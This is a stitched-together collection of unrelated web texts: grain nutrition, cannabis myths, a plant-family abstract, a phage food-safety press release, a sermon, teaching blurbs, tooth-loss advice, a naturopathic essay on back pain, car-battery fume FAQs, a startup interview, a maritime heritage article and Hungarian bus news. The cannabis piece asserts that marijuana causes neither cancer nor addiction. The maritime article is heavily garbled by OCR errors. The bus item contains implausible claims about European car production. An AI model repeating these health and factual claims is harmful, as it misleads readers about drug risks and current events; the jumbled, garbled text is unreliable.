Do you want to join the reading group? Then please fill out a comment with your name, email address, blog URL (not required) and any comments or questions you might have at the bottom of this post. I will get back to you with your assigned chapter(s), some more information on the process and the call in details for the teleconference. You can put your name down until Monday April 19th.
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There are several hundred of grains that are edible - some form staple diets of people in specific regions. Here we will discuss a few of them and their uses in brief.
The Aztecs, people belonging to specific ethnic groups of ancient central Mexico, considered the cereal grain amaranth as their main source of food and also used it extensively in their religious ceremonies. However, the cultivation of this grain nearly came to a complete end following the diktat of the Spanish conquers making the cultivation of the plant a punishable offence. Currently, farmers as well as all those who are concerned about nutrition are showing a growing interest in cultivating the amaranth plant owing to the fact that amaranth encloses the maximum amount of protein - about 15 to 18 per cent calories - compared to most other grains, which generally possess around eight to 15 per cent of calories. In addition, compared to many other grains, amaranth also encloses more methionine and lysine (amino acids). When it is used in combination with other food grains, amaranth may also supply an absolute equilibrium of amino acids. Apart from containing calcium, amaranth also encloses magnesium and additional iron in comparison to most of the other edible grains.
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The amaranth plant usually grows up to three to five feet in height and produces elongated bunches of red blossoms. On an average, each amaranth plan produces as many as 500,000 minute seeds, which possess a potent nutty taste. These seeds may be cooked as well as consumed in a number of ways. They may be consumed in the form of a grain or popped, sprouted or even pounded into flour. The amaranth flour has an assortment of hues - ranging from pale yellow to deep violet. However, most of the amaranth flour available commercially from health food stores has a buff (pale yellowish) hue.
The amaranth plant has numerous uses, for instance, you can prepare pasta with the flour of this grain. In addition, amaranth oil is extracted from the seeds of the plant. The green hued leaves as well as the stalk of amaranth (also known as pigweed) are edible after cooking. The leaves of amaranth plant have a flavour akin to that of spinach.
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The barley plant is annual and grows up to one to four feet in height. The plant is resilient enough to endure a variety of conditions it may confront during the growing season. This is the primary cause why barley has been cultivated as a food crop all through history and even to this day remains a staple in several countries, especially in Asia, North Africa and the Middle East. However, at present the bulk of barley is produced in the West and is generally fed to animals or utilized in producing beer or other fermented beverages. An enzyme present in malt prepared from barley actually converts the starch present in beer or other alcoholic beverages into sugar, which the yeast producing alcohol can feed on and, hence, ferment or distil, a procedure that results in the making of alcohol.
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Considering the health advantages owing to consumption of barley, the grain's resourcefulness as well as its pleasant, slightly nutty flavour and its exile from the kitchens of many countries is a factor that needs to be reconsidered. In effect, the barley seed has a hard husk enclosing the grain and it should be got rid of before the grain is fit for consumption. Barley possesses numerous nutrients - it is a major natural source of iron, phosphorus, magnesium, niacin as well as soluble fiber.
Normally, barley grains have an off-white hue, but its color may vary from purple to black. The nutritional content of barley largely depends on the manner in which the grain is processed and refined (milled). It may be noted that most of the nutrients enclosed by barley grains are concentrated close to the bran. Hence, when the barley grain undergoes extensive milling, it contains lesser nutrients.
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There are several sorts of barley available commercially in the market. Some of these types are discussed in brief below.
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Generally, you will not find an assortment of barley products in most supermarkets. However, most supermarkets do sell prepared barley soups and pearled barley. On the other hand, you are more likely to find refined barley products at the different specialty food markets or health food stores.
From the botanical perspective, buckwheat is basically a fruit and belongs to the plant family, which also includes rhubarb. Nevertheless, even buckwheat undergoes processing and it is prepared and eaten in the similar manner as different cereal grains, such as wheat, oats and rye. Food products prepared with buckwheat possess a potent, nutty taste and they are available in a number of varieties.
From the viewpoint of nutrition, buckwheat possesses exceptional properties. In effect, buckwheat encloses more protein compared to several cereal grains like wheat, brown rice, oats and soy. This is the primary reason why buckwheat is supplemented with different cereal flours with a view to augment their nutritional value and buckwheat is frequently used in snack foods. Currently, scientists are studying rutin, a flavonoid present in the bran of buckwheat, to find if it can be used in controlling cholesterol levels in the bloodstream. In addition, it is believed that fagopyritols present in buckwheat may have a positive impact on the blood glucose levels in people enduring type 2 diabetes. It has been found that consuming buckwheat on a regular basis helps to lower blood pressure. Nevertheless, more research is required to ascertain these health benefits offered by buckwheat. | <urn:uuid:00033f1a-2cf6-4990-92fc-f5dbf0d7120a> | CC-MAIN-2022-33 | https://elmaskincare.com/h_menu/grains3.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570767.11/warc/CC-MAIN-20220808061828-20220808091828-00472.warc.gz | en | 0.960628 | 1,254 | 2.734375 | 3 |
Have you ever been chased by weed sellers down the lane but the fear of developing cancerous lungs, or getting addicted to smoking weed resisted you from buying it? What if we told you that marijuana can neither cause cancer nor addiction? Marijuana is one of the most popularly used drugs around the world.
Due to a constant dilemma of the countries over the legalization of weed, it has become the talk of the town. But like many other controversial topics in the world, there is a string of misconceptions that tag along with the opinions over marijuana. Here are some common misconceptions about marijuana that hold no practical evidence and a few facts about it.
MARIJUANA WILL MAKE YOU A LAZY PANDA
The media portrays cannabis users as lazy individuals and this is the most prevalent misconception about the use of marijuana. Studies have shown that cannabis users exhibit no less efficiency than non-smokers of cannabis. If anything, a great proportion of lobbyists and entrepreneurs smoke weed for recreational purposes.
ONCE YOU START SMOKING WEED, THERE IS NO COMING BACK!
Some people believe that marijuana consumption leads to the abuse of more severe drugs that may take a serious toll on their mental and physical health. Individuals who consume other drugs such as cocaine and opium can be seen munching over weed. However, there is no proven correlation between the two. The National Institute of Drug Abuse has ruled out an observation that cannabis users barely walk over their first love of weed!
HOLDING IN A DRAG OF WEED GETS YOU HIGHER
A lot of smokers believe that holding the drag of weed will get them higher. Well, it happens, but it is not related to weed. The only credible explanation for this high is that when a person holds back from exhaling and deprives the body of the required oxygen, a feeling of light-headedness rushes through the individual’s body. Make sure you don’t hold your breath for too long because of obvious consequences.
YOU CAN OVERDOSE ON MARIJUANA AND DIE
Deaths due to the excess consumption of marijuana have no factual evidence that may prove this misconception right. However, excessive use of marijuana can result in extremely fast heartbeats, paranoia, delusion, loss of directional movement but never a fatal death. Therefore, it is not advisable to use weed in abusive quantities.
SYNTHETIC WEED IS BETTER THAN NATURALLY-GROWN WEED
Has a synthetic variant of a naturally grown product ever been better in quality and for health? The synthetic marijuana manufactured for recreational purposes undergoes no strict checking and screening for its ingredients. There is neither precision nor accuracy in the different bundles produced during the mass production of synthetic marijuana. In addition to this, the manufacturing companies are free to put anything, from feces to rat poison, in creating synthetic marijuana. So you can clearly see the amount of truth in this conception.
However, it should be noted that synthetic marijuana manufactured for medical use is completely safe. It is because it gets run through multiple health and quality checks to ensure that the composition matches with that mentioned on the product label. The labs are monitored and approved by the governmental authorities so that only the safest product reaches the end consumers.” | <urn:uuid:06ed238c-bd72-47d9-9f2d-6ac9ee512e0b> | CC-MAIN-2022-33 | https://farmerslabseeds.com/common-misconceptions-about-cannabis/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573172.64/warc/CC-MAIN-20220818063910-20220818093910-00272.warc.gz | en | 0.942877 | 663 | 2.234375 | 2 |
FURTHER CONSTITUENTS AND BIOLOGICAL ACTIVITIES OF THE IRANIAN LABIATAE FAMILY
Prof. Abdolhossein Rustaiyan*, Afsaneh Faridchehr PhD., Mahdieh Ariaee Fard MSc. and Zahra Sadat Aghakhah Razlighi MSc.
A very important medicinal plant family is the Labiatae family, also known as the mint family. Plants in this family are herbs or shrubs often with an aromatic smell. They are common in the Maltese Islands and other Mediterranean countries for the fact that some of them produce a high amount of essential oil that enables them to survive the hot summer season. Some examples from this family include mints, thyme, tulsi, spearmint and coleus. It is widely cultivated for medicinal, traditional and folk medicine, perfumery, culinary and ornamental purposes. Also they are used as culinary and ornamental plants. Medicinal constituents include the strong aromatic essential oil, tannins, saponins and organic acids. This family contains a wide variety of chemicals. A wide range of compounds such as terpenoids, iridiods, phenolic compounds and flavonoides have been reported from the members of the family. The oil is obtained by steam distillation. In aromatherapy, the oil is used for its soothing effects. The plant has sedative, diuretic, tonic, antispasmodic and antiseptic properties.
Keywords: biologically active compounds, plant; phytochemical; plant biologically active compounds.
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Intralytix Receives FDA Regulatory Clearance for Phage-Based Campylobacter Technology
Columbia, Maryland, USA – October 7, 2021. Intralytix, Inc. announced today that its food safety product, CampyShield™, has received GRAS (Generally Recognized as Safe) recognition from the Food and Drug Administration (FDA), GRAS No: GRN 000966.
CampyShield™ is a non-chemical antimicrobial preparation containing three to eight bacteriophages lytic for Campylobacter, for use as an antimicrobial on raw red meat, including whole carcasses, primals, subprimals, cuts, trimmings, and organs, and raw poultry, including carcasses and parts. The preparation has been determined to be safe and effective in managing contamination of various foods with Campylobacter bacteria. The active ingredients of CampyShield™ are naturally occurring lytic bacteriophages that selectively and specifically kill Campylobacter species, including strains belonging to the two most common disease-causing species of Campylobacter: C. jejuni and C. coli.
Campylobacter infections typically occur from consuming contaminated food or water, and are characterized by diarrhea (often bloody), fever, and nausea. More severe illness can occur, including bloodstream infection. Campylobacter infection can also result in long-term consequences, such as arthritis, irritable bowel syndrome, and Guillain-Barré syndrome. "Campylobacter spp. are arguably the leading bacterial causes of foodborne illness in the United States, causing an estimated 1.5 million illnesses each year in this country" stated Dr. Alexander Sulakvelidze, Intralytix's President and CEO. "People can get Campylobacter infection by eating raw or undercooked poultry or other foods, including seafood, meat, and produce. CampyShield™ can help reduce the incidence or severity of such illnesses." Dr. Sulakvelidze added "Intralytix continues to be the World leader in the development of bacteriophage-based products for food safety. The company has the largest in the World portfolio of the FDA- and USDA-approved phage products for food safety applications on the market, including phage preparations for managing major foodborne bacterial pathogens Listeria monocytogenes, STEC E. coli (including E. coli O157:H7), Salmonella spp., and Shigella spp. We are pleased to add yet another bacteriophage-based food safety product to the arsenal of our nation's food manufacturers."
Intralytix, Inc is a biotechnology company focused on using its core bacteriophage/phage technology platform to improve human health through the development and commercialization of innovative products for food safety, animal health and human therapeutics and probiotics. For product inquires or to place an order, email Intralytix at firstname.lastname@example.org or call 1-877-ITXPHAGE (489-7424) and select option 1.
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Formal methods for future interoperability
Davies J., Gibbons J.
Interoperability is a key challenge in software engineering, whether expressed in terms of the compatibility of different systems and protocols, in terms of compliance to industry standards, or - increasingly - in terms of the ability to share and re-use data gathered in different contexts. Formal methods are mathematical techniques for the precise description of systems properties and behaviour, and have an important role to play in the future provision of interoperable systems and data. This paper describes that role, and examines the implications for present-day training and education. | <urn:uuid:42ea6cdc-7f23-4e1d-98f0-9afe646b1382> | CC-MAIN-2022-33 | https://www.bdi.ox.ac.uk/publications/163505 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.895696 | 123 | 1.65625 | 2 |
(Genesis 11 – 2:3; Hebrews 1:1-4) J G White
Trinity Sunday, June 11, 2017, UBC Digby
This afternoon Sharon and I head to Truro for an annual seminar on spirituality and new thinking. On two occasions there in past years, I have had the pleasure of hearing Sister M. T. Winter, a feminist theologian and author. We here know her best, perhaps, as a songwriter – Joy Is Like the Rain, I Cannot Come to the Banquet, Spirit of God.
M. T. asks, in her 2009 book, Paraxodology,
What would it be like if we approached every new acquaintance as if we had met before? As if we had something in common. As if we were related. As if we were already friends. Can you imagine what this would do for planetary peace? There would be no point in building walls along our nation’s borders when the walls within us that keep people out are finally coming down. (p. 165)
At the heart of Faith, our Faith, is relationship. We are relations to one another. And to all of creation. And to God. Hence the old language of God the Father and Jesus our Friend and Brother. Hence, the beautiful picture of One God as Three Persons. Yes, the Holy Spirit is one of the Persons, not an It, but a Him (or Her). God is Three; God is Relationship: good, beautiful, perfect relationship. God is love.
All the broken relationships call out for the healing and reconciling God gives. Our broken relationship with the earth and all living things. Our broken relationships with people: lately, I have been longing for healing among some folk I know who have become enemies of each other. Our broken relationships with the Divine. The Good News is that the Holy One takes the big steps to reconcile with us: the story of Jesus brings us back.
I looked for a short story to celebrate our God who is the very model & source of good relations & conversation.
Cynthia Bourgeault, of the Center for Action and Contemplation, in New Mexico, shares this illustration of communication and fellowship with God.
…Let me offer you a story that was told to me by my longtime friend and teacher, the Abkhazian dervish elder Murat Yagan.
In the years immediately following World War II, Murat recounts, he spent time in a remote corner of eastern Turkey. There he became friends with an elderly couple. Life had been good to them, but their one sadness was that they missed their only son, who had left some years before to work in Istanbul.
One day when Murat visited them, the old couple were bursting with pride, eager to show him the new tea cupboard that their son had just shipped from Istanbul. It was indeed a handsome piece of furniture, and the woman had already arranged her best tea set on its upper shelf. Murat was polite but curious. Why would their son go through such an expense to send them a tea cupboard? And if the purpose of this piece of furniture was storage, why were there no drawers? “Are you sure it’s a tea cupboard?” Murat asked. They were sure.
But the question continued to nag at Murat. Finally, just before taking his leave, he said, “Do you mind if I have a look at this tea cupboard?” With their permission, he turned the backside around and unscrewed a couple of packing boards. A set of cabinet doors swung open to reveal inside a fully operative ham radio set.
That “tea cupboard,” of course, was intended to connect the couple to their son. But unaware of its real contents, they were simply using it to display their china.
Bourgeault concludes: what if inside the Trinity is concealed a powerful communications tool that could connect us to the rest of reality (visible and invisible), allow us to navigate our way through many of the doctrinal and ethical logjams of our time, and place the teachings of Jesus in a dynamic framework that would truly unlock their power?
It is simply a matter of turning the tea cabinet around and looking inside. I know that there is indeed a ham radio concealed inside this Trinitarian tea cupboard. At a time when spiritual imagination and boldness are at an all-time low and the Christian church hovers at the edge of demise, perhaps now more than ever the time is ripe to remove the packing board from this tea cupboard and release its contents.
Look deeply into God. The Trinity is not afar off, but is very close. Remember – every day this week, every morning, noon and night – that the Saviour is communicating, in every language you can hear and see and smell and touch. God is cheering us on, in every one of our prayers, every flower blossoming before our eyes, every scripture we read. The connection can seem hidden, but it is there. There is a Spirit who is bringing your spirit to birth, in every chapter of this life. AMEN. | <urn:uuid:c56aec80-a1ee-442d-984f-dc5db8121482> | CC-MAIN-2022-33 | http://digbybaptistchurch.ca/?m=201706 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573172.64/warc/CC-MAIN-20220818063910-20220818093910-00272.warc.gz | en | 0.977292 | 1,066 | 1.671875 | 2 |
Dr. Michael Heller created this project for a World Music Class for International Students taught at University of Massachusetts, Boston. Students were encouraged to develop traditional academic skills and new media skills in this World Music YouTube Culture Show Project, by incorporating written word, public speaking, and storytelling tools like Zeega, Powerpoint, or Meograph in this project.
Students familiar with case study analysis construct their own cases to capture a specific ethical question. They then lead their classmates through the case. This case construction gives students the opportunity to try to stump one another with new ethical dilemmas in civil and focused fashion.
Student groups are each assigned a region experiencing a humanitarian crisis for research. They produce a visual timeline representing the processes precipitating and leading up to the crisis and the relief efforts undertaken in response. As a final project, each group produces an infographic representing a theme or a typology it observes across the different crises explored throughout the timeline exercise.
In Jerusha Achterberg's first and second Expos workshops of the semester, she chooses two paper drafts from the section and all the other students read and comment on those two papers. The authors also serve as the moderators for each other's discussion.... Read more about Student Paper Workshop
The instructor in a beginning German class wrote and filmed a puppet show for the class, who then created their own puppet shows using the vocabulary they had learned. This exercise fostered comprehension and decreased students’ inhibitions about speaking in public.... Read more about German Language Puppet Show
This was a semester long project. Throughout the semester, graduate students (many of whom had little previous exposure to the course material) studied the history of Chinese music theory, the Jesuit missionaries who transmitted it back to western Europe, and the reception of Chinese culture there in the 18th century. The website commemorating the exhibit and giving more information can be found at hcs.harvard.edu/soundingchina
Students in Caroline Light's general education course, Sex and the Citizen, create five-minute visual essays in response to Brenda Weber's, Makeover Nation. In order to do this assignment, students must complete the assigned reading and gain familiarity with iMovie, Prezi, or PowerPoint. These visual essays or makeover parodies are meant to address issues of identity and citizenship central to the course.... Read more about Visual Essays and Makeover Parodies | <urn:uuid:3574d7d6-9d6c-45a6-8e6f-d7e616cce720> | CC-MAIN-2022-33 | https://ablconnect.harvard.edu/browse/documents?destination=documents/filter_by/design-based&f%5B0%5D=sm_og_vocabulary%3Ataxonomy_term%3A112738&f%5B1%5D=sm_og_vocabulary%3Ataxonomy_term%3A2260&f%5B2%5D=sm_og_vocabulary%3Ataxonomy_term%3A27181 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.927234 | 479 | 3.09375 | 3 |
Preparing for the Tooth Fairy
Losing a tooth can be an exciting but scary time in a child’s life. Children start losing teeth around age 6, with the last ones falling out by age 13, and it’s important that parents feel prepared when the first milestone arrives.
If you notice a loose baby tooth, hold the tooth firmly with a piece of gauze or tissue and give it a quick twist. If it doesn’t come out, wait a few days until it becomes looser and try again. It’s OK to let your child wiggle the loose tooth gently to help, but if there’s pain or if the tooth hasn’t fallen out after a few days, you may want to reach out to your dentist.
Minimal bleeding after losing a tooth is normal—just give your child water to rinse with. The mouth will heal on its own, but you can also hold a clean piece of gauze to the area to help.
That evening, make sure your child places the tooth under the pillow for the Tooth Fairy to find. Then, brush those remaining teeth and snuggle in for a good bedtime story. If you forget to grab the tooth, remind your child that the Tooth Fairy is very busy and can’t get to every child’s house in one night. Then make sure to grab it the next night!
This information is available for download as an oral health flyer.
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When people sit for long periods the hip flexors are affected and back pain can result. This tends to “shorten” or constrict muscles affecting the lower back. If your hip flexors are shortened through lengthy sitting, when you stand up they will pull on the femur at one end of the hip, along with the lumbar spine (your lower back). This pulling (like a rubber band) causes the hip to tilt forward and the lumbar curvature to increase (often referred to as excess lordosis).
This all leads to lower back and hip pain. It’s like two rubber bands pulling in the opposite directions so your lower back is stressed.
Knee pain can occur in some cases – all affecting your gait and posture.The anterior pelvic tilt will generate a stronger curvature of the thoracic spine (upper back) otherwise you would be leaning backwards all the time! This misaligned posture generates kyphosis (curvature of the spine), contributes to neck and shoulder pain and sometimes headaches and can impact on circulation to the brain and eyes due to constriction around the neck. The spine is completely out of balance since what affects the lower part of the spine will impact on the upper part known as the axis supporting the head. It’s a simple polarisation.
We all have a tiny amount of natural pelvic tilt; the problem occurs when this is exaggerated and creates tension and pain resulting in a distorted posture. When the gait is affected and no treatment is received to correct the pelvic rotation/tilt then this will have a negative impact on all bearing joints.
Many people simply put up with it and never seek help.
This misalignment not only causes pain and stiffness to persist but the knee and hip joints begin to wear down over time.
Hip and knee replacement is not always due to mineral imbalance or injuries but can be due to misalignment of the entire body and pelvic imbalance impacting on your bearing joints every time you move.
When you sit for lengthy periods or, worse still, on soft sofas that don’t support your lower back, you develop tight psoas muscles. Psoas muscles flex the hip and spinal column and are approximately 40cms long in an adult. They are one of the largest and thickest muscles in the body.
The psoas runs down the low mid spine from the 12 thoracic vertebrae (at the back of your lungs) and connects to all the vertebral bodies, discs and transverse processes of lumbar vertebra right down across to the pelvis then attaches on the inside at the top of the leg at the lesser trochanter (hip joint).
I describe the above just to let you see how large and important this muscle is.
The lower part of the psoas combines with fibres from the iliacus muscle sitting inside the surface of the pelvis and sacrum (very low back) then becomes the Iliopsoas muscle, which curves over the pubic bone to insert on the lesser trochanter.
This description allows you to see how the psoas extends itself over the body and how general lower back pain can result from distortion of the psoas muscle, which in turn can tilt and rotate the pelvis.
If you have poor posture, trauma, walk incorrectly or sit for too long, the psoas muscle can stay tight and contracted. It is a strong muscle so regular stretching is required to relax it.
Sitting all day means the body must adjust to an “abnormal” position since as “hunter gatherers” we are meant to be moving forward and active.
The body adjusts itself and accommodates the need to sit so that muscles become tight and shorten. Prolonged daily sitting creates the way for an abnormal holding of the psoas leading to a dysfunctional pattern in the body. Now you can see how important it is to get up and walk around often if you have to work sitting down for hours. Quit being the couch potato and get out there walking.
If you have unresolved trauma, the psoas can tighten and become short in response to the flight/ fight response to danger. The psoas is powerful and prepares the body to run and flee from danger. The problem can occur if the muscle is not released and relaxed, but remains in a contracted state for a long time becoming even shorter leading to spasm. Then when you need it to flee danger you might just get caught since the psoas will not perform well enough due to chronic tension.
The psoas is often referred to as a primal messenger of the central nervous system. It is an emotional muscle expressing what is felt deep within the gut core, often referred to as your “gut feelings”.
When the pelvis tilts you often pronate more and that can cause problems with feet, in particular the ball of the foot and large toe.
If untreated for years, bunions and corns along with calcification can arise due to wrong placement of the foot on the ground. The arch can also weaken. Plantar fasciitis can result.
So you can see how sitting for hours is not conducive to your back even when you have a good quality back support. We are simply not meant to sit for hours yet people in office jobs or who drive vehicles for a living are subjected to this abnormal positioning of the body every day.
A tense psoas can disturb digestion, reproductive functioning and create a host of other ailments.
When constriction is released and energised, this often generates feelings of pleasure and being comfortable.
When you hear people complaining about lower back pain it could be due to what I have described here and a general massage is not always enough.
Effective Therapies: Bowen therapy, sports massage (including trigger point and acupressure), osteopathic and Rolfing to name a few can free up stiffness and correct posture alignment. A conventional treatment is usually physiotherapy.
Each therapy differs. I use Bowen Therapy which is an energy based bodywork encouraging the body to align by working on meridians and acupressure points. Bowen Therapy balances the entire body. There is rarely any discomfort with this therapy yet sports massage, acupressure and trigger point can be quite uncomfortable and sometimes painful especially if your problem is chronic (three months or more) and inflammation is present.
Correct exercises to stretch and open up the muscles are needed after treatments to encourage the body to be more flexible. Usually 2-4 treatments are required, but some cases may require more. Patients are encouraged to practise relevant exercises in between treatments and ongoing for maintenance and flexibility.
The “take home message” is: sit, carry and walk correctly, learn correct stretches and have regular treatments to maintain postural alignment before the above disorders arise.
Lyn Craven is a practitioner of Naturopathy, Bowen Therapy, Energy/Reiki therapist, meditation teacher and Corporate Health Consultant. She is also a health researcher/writer and has produced a meditation CD assisting people to manage anxiety and stress. She runs a private practice in Sydney and can be contacted on +61403 231 804 | <urn:uuid:c09b8b19-72df-4c57-8439-01a31ffaae9f> | CC-MAIN-2022-33 | http://novamagazine.com.au/lower-back-pain/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.931529 | 1,492 | 2.59375 | 3 |
It is very poisonous, corrosive, and flammable. It’s heavier than air, so it’s accumulating at the bottom of poorly vented spaces. Once you can smell it, it means that its concentrations are high enough to be toxic. It affects many systems in the human body and the one which is the most affected is the nervous system.
What happens if you inhale battery fumes?
INHALATION: Not a likely route of exposure. If a battery ruptures/explodes, the acid or gas may be harmful or fatal if inhaled in a confined area. May cause severe irritation and burns of the nose, throat and respiratory tract.
Is smelling battery harmful?
The overheating of the battery is making it convert the sulphuric acid into Hydrogen sulfide. Hydrogen sulfide is the main reason that is making your battery smell like rotten eggs. It is a very dangerous gas that can have harmful effects on human health.
Do car batteries give off toxic fumes?
Car battery is containing a pretty dangerous chemical called “sulfuric acid”. It is dangerous by itself being a highly corrosive chemical. Its vapors are toxic. When it is contacting with some other materials some other toxic vapors/gases might be produced.
What fumes do car batteries give off?
Recharging, moving, or shaking a lead-acid battery can produce an explosive mixture of hydrogen and oxygen gases that escape through the battery’s vents. These fumes, if allowed to accumulate in a small area, ignite easily and can cause a fire or explosion.
Can battery acid make you sick?
Exposure to sulfuric acid can result in difficulty breathing and tightness in your chest. Breathing in any type of battery acid fumes can be toxic and cause dizziness or nausea.
Are battery fumes flammable?
In addition, overcharging a lead acid battery can produce hydrogen sulfide gas. This gas is colorless, poisonous, flammable, and has an odor similar to rotten eggs or natural gas. The gas is heavier than air and will accumulate at the bottom of poorly ventilated spaces.
Do batteries give off fumes?
When batteries are being recharged, they generate hydrogen gas that is explosive in certain concentrations in air (explosive limits are 4.1 to 72 percent hydrogen in air).
Do car batteries give off carbon monoxide?
It was determined that lead batteries do not emit carbon monoxide. They do, however, emit hydrogen. It was also noted that carbon monoxide detectors will activate when exposed to high amounts of hydrogen. Hydrogen gas like carbon monoxide is a colorless and odorless gas.
Should a battery smell when charging?
Under normal circumstances, this smell will start to taper off after the initial charging cycles. After roughly ten cycles, give or take, the smell should be gone. If the smell persists long past this mark, there may be a fault with your battery, in which case you should consult a mechanic.
Is it safe to sleep next to a car battery?
The simple answer to your question is yes it is safe to sleep in a room with two (or more) car batteries. However, if the batteries are being charged (and discharged), then most likely it is not safe.
Is it safe to store car battery indoors?
Storage in a cellar is possible in principle, but the room must be dry. The optimal solution is a room in the house in which there is a dry atmosphere and a constant temperature, even in winter. Before storage, the battery should be fully charged to between 12.7 V and 12.8 V.
Is it safe to charge a car battery indoors?
The practice of charging a car battery indoors is not entirely reliable or recommended. By charging your car battery at home or in a confined space, you might get the corrosive sulfuric acids stuck to your clothes and skin. Moreover, hydrogen build-up can cause the battery to explode.
Is leaking battery toxic?
What is battery acid? Battery leakage (commonly known as battery acid) is nasty, corrosive stuff – it can burn your skin, contaminate soil, and of course ruin whatever device it has leaked into. … For lead batteries, sulfuric acid is the dangerous residue, which requires a different type of clean-up.
What should you do if you are exposed to hydrogen sulfide?
Nitrite therapy (found in the cyanide antidote kit) has been suggested as a therapy for hydrogen sulfide exposure. Amyl nitrite is given by inhalation (for 30 seconds every minute until an intravenous line is established) followed by intravenous sodium nitrite (300 mg over absolutely no less than 5 minutes).
What causes gassing in a battery?
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Africa’s need to find innovative and sustainable solutions to waste management and energy generation is growing, and for Louise Bijleveld, co-founder of LONO, that challenge provided the inspiration for a game-changing business.
What does your company do?
LONO is a clean technology start-up providing products and services for waste-to-energy. We have developed a product for households and SMEs called KubeKo. KubeKo is a solar powered bin that converts organic waste into fertilizer or biogas. For agro and food industries, we provide consulting services to advise on the most viable technology option to generate electricity from the waste available.
What inspired you to start your company?
In 2010, I moved to South Africa for my studies where I met Noël, the second co-founder of LONO and now my husband as well. Looking back, this is where the idea of LONO was born. The combination of his engineering background and my studies in international development led our conversations to the field of agriculture and clean energy in Côte d'Ivoire. However, I felt like I needed more time and experience before starting something of my own, and so I moved back to the Netherlands to work for the national government for several years. My jobs were in the field of development cooperation and here, my belief in development through value creation was strengthened. I wanted to start something that would create value on its own and in 2016 I decided that it was the right time to make the big change.
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National Maritime Alliance Secures Federal Grants for Maritime Heritage by Timorhy J. Runyan, PhD
he MaririmeAdminisrrarion (MARAD) and rhe Narional Park Service (NPS) recently signed a memorandum of agreement, which will provide funding fora grants program rhrough rhe Narional Maririme Heritage Acr. The agreement is expecred ro make $7 million available w maririme herirage groups over rhe nexr several years. Ir is rhe result of a sustained effort by rhe Narional Maririme Alliance, a group founded in 1988 and roday supported by more rhan 1,000 small businesses, organizarions, and individuals that make up the maritime heritage community in the Un ired States. Afrer a concerted effort led by the A lliance in the early 1990s, rhe Natio nal Maririme Heritage Act became Public Law 103-45 1 (16 USC 5401) in November 1994. The preamble on Findings declares: The United States is a nation wirh a rich maritime history, and it is desirable w fosrer in rhe American public a grearer awareness and appreciation of the role of maritime endeavors in our Nation's hisrory and culture.:
requesting over $10 million. C learly there was great need. The Secretary of the Interior appointed a twenty-one-member Grants Advisory Committee, which included members from seven federal age ncies with m aritime interests and 14 members representing va rious areas of maritime heritage. The thirty-nine grants that were awarded supported education and preservation projects in nineteen stares and the District of Columbia w preserve histori c maritime resources and increase public awareness and appreciation for rhe m aritime heritage of the United States. Awards funded the hisroric ship Balclutha (CA), collections at The Mariners' Museum (VA), preservatio n of the Point Sur Lighthouse (CA), rhe Portland Observarory (ME), rhe Be!Le of Louisville (KY), conservation of the La Salle shipwreck (TX), the Center for Traditional Louisiana Boat Building (LA), rhe USS Consriwrion Museum (MA), and ex hibits at the Mississippi River Museum (IA).
Ir goes on w state: The ma ritime hisrorical and cultura l foundarion of rhe nation should be preserved as part of our communiry life and development; national, stare and local groups have been working independently w preserve the maritime heritage of the Unired Stares; rhose hisroric resources are being losr; The preservarion of rhis irreplaceable maritime heritage is in the public imeresr so that its vital legacy wi ll be maintained and enriched for fuwre generarions of Americans; current government and nongovernmemal hisroric preservarion programs are inadequare to ensure app reciation of rhis heritage.
Ir furrher srates that "a coordinared narional program is needed immedi ately to redress rhe adverse consequences of a period of indifference during which rhe maritime herirage of rhe United Stares has become endangered and w ensure the fuwre preservarion of the Nation's maritime heritage," and calls for the creation of a national maritime heritage policy. The passage of the National Maritime Heritage Act was a first in this country. It established a National Maritime H eritage Grants Program that derived its funding from a percentage of the sale or scrapping of obsolete vessels in the National D efense Reserve Fleer, or "mothball" fleer. Fifty percent of rhe profit was w be retained by rhe Maritime Administration (part of rhe Department of Transportation), twenty-five percent was w be used by MARAD w support the maritime academies, and rhe remaining twenty-five percent would be avai lable for the National Marit ime Heritage Grants Program. With millions of dollars generated annually by ship scrapping and sales, supporters of the Act were elated rhar a solid stream of funding was identified . After a lengthy process of es tablish ing the regularions for the Act, the first distribution was made in 1998; the rota! available came w about $670,000. In that first year, more than 340 proposals were submitted, 48
The 1914 Belle of Louisville is a National Historic Landmark; it is the oldest operating Mississippi River-style steamboat in the world. The program is administered by the D epartment of the Interior through the Maritime H eritage Program of the National Pa rk Service, and reports w rhe chiefhisrorian. The National Trust for Hi storic Preservation was initi ally a partner, but withdrew from participation and ceded its role w the D epartment oflnterior. State Hisroric Preservation Officers participated in the review process . Since 1998, the National Maritime Alliance, the m ajor catalyst for rhe passage of rhe Act, has focused on advocacy and organizing rhe Maritime Heritage Conferences. Advocacy was necessary following an Environmental Protection Agency ruling rhar banned scrapping of ships abroad without first removing haza rdous materials. The resu lt was a backlog of mothba lled ships and congressional subsidies w pay for scrapping-there were no profits, and therefore there was no money for the grants program. Advocacy by the National Maritime Alliance leadership and supporting organizations resulted in the insertion of alternate fundin g sources in several bills, and even a direct appropriation request supported by five senarors, but without success. The effort continues w seek an alternative w ship recycling as a funding stream for rhe grants program. Nevertheless, because of a spike in scrap metal prices, funds once again became available for the grants program but, in a surprise move, an amerndment was included in the 2010 defen se
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According to the Ministry of Information Technology, starting from January 1st, 2022, Hungarian cities with more than 25,000 inhabitants can only purchase electric buses.
Forbes reported that the aim of the Hungarian government by buying electric and environmentally friendly buses is to broaden the types of buses in the country and, of course, to protect the environment.
In the summer of 2016, major European cities like Paris, Madrid, and Brussels required the decree regarding harmful emissions from vehicles to be cancelled, which the European Union approved.
On the other hand, the cancellation resulted in a shortage of 8 million vehicles in European countries, as the most significant car factories stopped manufacturing cars. This severe number would result in the complete ending of the European car business.
First Hungary, then Germany appealed against this step, along with the European Commission.
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László Palkovics, minister of the Ministry of Human Resources, recently reported that the nearly 90-year-old Hungarian passenger bus transportation company called Volánbusz received 115 brand new buses for 10 billion Hungarian forints (30 million Euros). An interesting fact is that 80% of these buses were made in Hungary.
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Suppliers for design and construction
